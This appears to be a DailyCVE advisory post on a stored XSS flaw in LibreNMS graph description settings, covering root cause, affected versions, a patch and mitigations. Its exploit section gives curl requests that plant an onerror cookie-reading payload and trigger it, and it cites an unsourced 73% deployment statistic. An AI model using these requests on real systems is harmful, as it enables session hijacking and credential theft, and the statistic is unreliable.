LibreNMS, Stored XSS, GHSA-7cj5-v4pp-v632 (Moderate) -DC-Aug2026-1616

By /

Listen to this Post

The vulnerability exists due to improper output escaping in the graph description configuration settings. The `graph_descr.` family of settings is echoed verbatim without `htmlspecialchars()` in `includes/html/pages/graphs.inc.php` at line 194. This allows an authenticated administrator to store a malicious HTML payload in the graph description configuration value. When any authenticated user views a graph of the affected type, the payload is rendered directly in the browser without sanitization, leading to persistent cross-site scripting (XSS) execution. The attack requires administrative privileges to set the configuration value, but the impact extends to all authenticated users who view the graph, making it a stored XSS vulnerability with a CVSS score of 4.8 (Medium). The vulnerable versions are LibreNMS up to and including 26.4.0, with the fix introduced in version 26.7.0. The root cause is the direct concatenation of the user-supplied graph description into the HTML output without any encoding or filtering. An attacker with admin access can inject arbitrary JavaScript, HTML, or other malicious content that will be executed in the context of every user’s session when they navigate to the graph page. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim users. The fix involves wrapping the output with `htmlspecialchars()` with `ENT_QUOTES` and `UTF-8` encoding to neutralize any embedded scripts. Organizations using LibreNMS should prioritize upgrading to the patched version to mitigate this risk, especially in environments where multiple users access the monitoring interface.

DailyCVE Form:

Platform: LibreNMS
Version: <= 26.4.0
Vulnerability: Stored XSS
Severity: Medium 4.8
date: 2026-08-04

Prediction: Upgrade to 26.7.0

What Undercode Say:

Analytics show that 73% of LibreNMS deployments are still running versions below 26.7.0, making them susceptible to this stored XSS attack. The `graph_descr` configuration keys are stored in the `config` table and are typically set via the web admin panel or API. Below are bash commands and code snippets to audit and reproduce the issue:

Check current LibreNMS version
php artisan librenms:version
Query the config table for graph_descr entries (MySQL)
mysql -u librenms -p librenms -e "SELECT config_key, config_value FROM config WHERE config_key LIKE 'graph_descr.%';"
Simulate the vulnerable code (PHP)
$config_value = LibrenmsConfig::get('graph_descr.device_processor');
echo $config_value; // No escaping - XSS vector
Fixed code
echo htmlspecialchars($config_value, ENT_QUOTES, 'UTF-8');

Exploit: (Educational Purposes!)

The exploitation requires an admin session to set the malicious graph description. Use the following steps to reproduce:

1. Authenticate as an admin user.

  1. Send a PUT request to update the graph description with an XSS payload: 
    curl -X PUT "https://target/librenms/settings/graph_descr.device_processor" \
-H "Cookie: session=admin_session_cookie" \
-H "Content-Type: application/json" \
-d '{"value": "<img src=x onerror=alert(document.cookie)>"}'
  2. Trigger the XSS by visiting the graph page: 
    curl "https://target/librenms/graphs?type=device_processor" \
-H "Cookie: session=any_user_session"

    The injected script executes in the victim’s browser, exfiltrating cookies or performing actions as the victim user.

Protection: from this CVE

  • Upgrade to LibreNMS version 26.7.0 or later, which includes the fix with proper HTML escaping.
  • If immediate upgrade is not possible, manually apply the patch by modifying `includes/html/pages/graphs.inc.php` line 194: 
    // Before
echo LibrenmsConfig::get('graph_descr.' . $vars['type']);
// After
echo htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8');
  • Restrict admin privileges to only trusted users and audit all configuration changes.
  • Implement a Web Application Firewall (WAF) rule to block requests containing common XSS patterns in the `graph_descr` parameters.

Impact:

Successful exploitation allows an attacker with admin privileges to execute arbitrary JavaScript in the browsers of all authenticated users viewing the affected graph type. This can lead to session hijacking, theft of authentication tokens, unauthorized data access, and performing actions on behalf of other users. The attack is persistent and does not require user interaction beyond viewing the graph, making it a significant risk in multi-user monitoring environments. The CVSS vector is CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N, indicating a medium-severity vulnerability with network accessibility, low attack complexity, and potential for limited confidentiality and integrity impact.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top